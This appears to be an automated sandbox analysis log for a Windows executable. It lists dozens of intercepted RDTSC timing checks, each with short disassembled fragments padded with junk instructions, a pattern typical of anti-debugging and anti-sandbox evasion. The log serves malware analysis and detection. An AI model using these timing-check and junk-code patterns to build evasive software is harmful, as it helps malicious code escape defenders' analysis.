Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7B6C second address: 9C13CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 jmp 00007FFAA4B0AF25h 0x0000000b nop 0x0000000c and di, 57F1h 0x00000011 call dword ptr [ebp+122D2569h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F5FE second address: A1F61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4EF80D8h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F78F second address: A1F795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F950 second address: A1F96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FFAA4EF80D8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FAA9 second address: A1FAB3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FAB3 second address: A1FAD8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFAA4EF80C6h 0x00000008 jmp 00007FFAA4EF80D8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FC19 second address: A1FC1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FC1D second address: A1FC3B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FFAA4EF80C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007FFAA4EF80CCh 0x00000010 jp 00007FFAA4EF80C6h 0x00000016 push eax 0x00000017 push edx 0x00000018 jbe 00007FFAA4EF80C6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FC3B second address: A1FC6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FFAA4B0AF21h 0x0000000e jl 00007FFAA4B0AF16h 0x00000014 pop ebx 0x00000015 popad 0x00000016 jc 00007FFAA4B0AF22h 0x0000001c jp 00007FFAA4B0AF1Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FD8B second address: A1FDAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4EF80D9h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FDAB second address: A1FDD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4B0AF20h 0x00000009 jmp 00007FFAA4B0AF24h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22AAB second address: A22AE7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FFAA4EF80D3h 0x00000008 jnp 00007FFAA4EF80C6h 0x0000000e pop ebx 0x0000000f jmp 00007FFAA4EF80D7h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22AE7 second address: A22AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4B0AF24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22AFF second address: A22B0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FFAA4EF80C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24D33 second address: A24D37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24D37 second address: A24D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A280DA second address: A280DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A280DE second address: A280E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D07C second address: A2D082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D082 second address: A2D086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D086 second address: A2D0A2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFAA4B0AF16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FFAA4B0AF1Dh 0x0000000f push ebx 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D0A2 second address: A2D0C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFAA4EF80D7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D0C1 second address: A2D0E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFAA4B0AF23h 0x00000008 jmp 00007FFAA4B0AF1Ch 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C698 second address: A2C6A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FFAA4EF80C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C980 second address: A2C99E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FFAA4B0AF28h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C99E second address: A2C9AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FFAA4EF80C6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32830 second address: A3284F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4B0AF29h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3284F second address: A3287D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CEh 0x00000007 jmp 00007FFAA4EF80D9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3287D second address: A32892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4B0AF1Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32892 second address: A328B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FFAA4EF80D9h 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A329F4 second address: A329FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A329FF second address: A32A03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32B85 second address: A32B8A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32B8A second address: A32B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32B95 second address: A32B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32E24 second address: A32E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32E2A second address: A32E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A330AD second address: A330D1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFAA4EF80C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FFAA4EF80D7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A330D1 second address: A330F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushad 0x0000000c jl 00007FFAA4B0AF16h 0x00000012 jg 00007FFAA4B0AF16h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A330F0 second address: A330F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33A18 second address: A33A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38194 second address: A3819F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DC83 second address: A3DC87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DC87 second address: A3DCA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DCA0 second address: A3DCA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DE1A second address: A3DE1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DE1E second address: A3DE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4B0AF1Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DF99 second address: A3DFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4EF80D7h 0x00000009 popad 0x0000000a pushad 0x0000000b jc 00007FFAA4EF80C6h 0x00000011 jmp 00007FFAA4EF80CAh 0x00000016 popad 0x00000017 jo 00007FFAA4EF80CEh 0x0000001d push esi 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EA8E second address: A3EA94 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EA94 second address: A3EAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FFAA4EF80CEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F666 second address: A3F66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F66A second address: A3F66E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F66E second address: A3F674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44151 second address: A44157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49184 second address: A491A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A522B3 second address: A522CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D5h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 996A05 second address: 996A1D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FFAA4B0AF22h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 996A1D second address: 996A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FFAA4EF80C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50570 second address: A50578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50578 second address: A5057E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5057E second address: A50582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5088F second address: A508A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50B77 second address: A50B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50F90 second address: A50FA4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFAA4EF80CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50FA4 second address: A50FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A510B6 second address: A510BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A510BC second address: A510C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A510C2 second address: A51108 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFAA4EF80D1h 0x00000010 jbe 00007FFAA4EF80DFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51287 second address: A512B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Bh 0x00000007 jmp 00007FFAA4B0AF27h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 ja 00007FFAA4B0AF16h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A512B9 second address: A512C7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007FFAA4EF80C6h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A512C7 second address: A512D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4B0AF1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A512D9 second address: A512DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52116 second address: A52123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 ja 00007FFAA4B0AF27h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52123 second address: A52144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4EF80CBh 0x00000009 jmp 00007FFAA4EF80CDh 0x0000000e popad 0x0000000f pushad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FF00 second address: A4FF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58DE4 second address: A58E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FFAA4EF80D3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A589D2 second address: A589D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A5D7 second address: A5A5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A5DB second address: A5A5E7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FFAA4B0AF16h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A5E7 second address: A5A5F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A417 second address: A5A42B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FFAA4B0AF16h 0x00000008 jg 00007FFAA4B0AF16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A42B second address: A5A42F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A42F second address: A5A435 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69BC7 second address: A69BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69733 second address: A6975A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007FFAA4B0AF16h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73C25 second address: A73C4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FFAA4EF80D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994F99 second address: 994F9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E0E9 second address: A7E10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FFAA4EF80D0h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007FFAA4EF80C6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E10A second address: A7E138 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF22h 0x00000007 jmp 00007FFAA4B0AF25h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7DF8E second address: A7DF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87DAD second address: A87DBC instructions: 0x00000000 rdtsc 0x00000002 js 00007FFAA4B0AF16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86636 second address: A8663B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8663B second address: A8666D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4B0AF1Dh 0x00000009 jmp 00007FFAA4B0AF22h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FFAA4B0AF1Ah 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A867CE second address: A867EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A867EE second address: A8683F instructions: 0x00000000 rdtsc 0x00000002 js 00007FFAA4B0AF28h 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FFAA4B0AF20h 0x0000000f je 00007FFAA4B0AF1Eh 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jnl 00007FFAA4B0AF27h 0x0000001f js 00007FFAA4B0AF22h 0x00000025 ja 00007FFAA4B0AF16h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8683F second address: A86843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86843 second address: A8684B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8684B second address: A8684F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86AFB second address: A86B23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4B0AF29h 0x00000009 jmp 00007FFAA4B0AF1Bh 0x0000000e rdtsc
